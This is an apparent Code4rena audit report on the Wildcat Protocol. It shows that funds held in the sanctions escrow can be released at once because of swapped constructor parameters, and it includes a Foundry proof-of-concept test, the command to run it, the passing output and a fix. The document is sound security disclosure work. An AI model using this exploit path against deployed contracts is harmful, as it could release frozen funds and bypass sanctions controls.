The Wildcat Protocol - 0xSwahili's results

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketWithdrawals.sol#L166

Vulnerability details

Impact

Funds escrowed in the WildcatSanctionsEscrow via WildcatMarketWithdrawals and src/market/WildcatMarketBase.sol::_blockAccount can be immediately moved out, against the protocol design of keeping them safe until the account is cleared by authorities.

Proof of Concept

Add this test code into WildcatMarketWithdrawals.t.sol

function test_can_withdraw_sanctioned_executeWithdrawal_Sanctioned() external {
    _deposit(alice, 1e18);
    _requestWithdrawal(alice, 1e18);
    fastForward(parameters.withdrawalBatchDuration);
    sanctionsSentinel.sanction(alice);
    address escrow = sanctionsSentinel.getEscrowAddress(alice, borrower, address(asset));
    vm.expectEmit(address(asset));
    emit Transfer(address(market), escrow, 1e18);
    vm.expectEmit(address(market));
    emit SanctionedAccountWithdrawalSentToEscrow(alice, escrow, uint32(block.timestamp), 1e18);
    market.executeWithdrawal(alice, uint32(block.timestamp));
    WildcatSanctionsEscrow(escrow).releaseEscrow();
    WildcatSanctionsEscrow(escrow).balance();
  }

Then run it as:

forge test --match-path test/market/WildcatMarketWithdrawals.t.sol --match-contract WithdrawalsTest --match-test "test_can_withdraw_sanctioned_executeWithdrawal_Sanctioned"

Test results:

Running 1 test for test/market/WildcatMarketWithdrawals.t.sol:WithdrawalsTest
[PASS] test_can_withdraw_sanctioned_executeWithdrawal_Sanctioned() (gas: 929168)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.93ms

Tools Used

Manual review

Recommended Mitigation Steps

Switch the account and depositor parameters at WildcatSanctionsEscrow to be

address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
        borrower,
        accountAddress,
        address(asset)
      );

Assessed type

Invalid Validation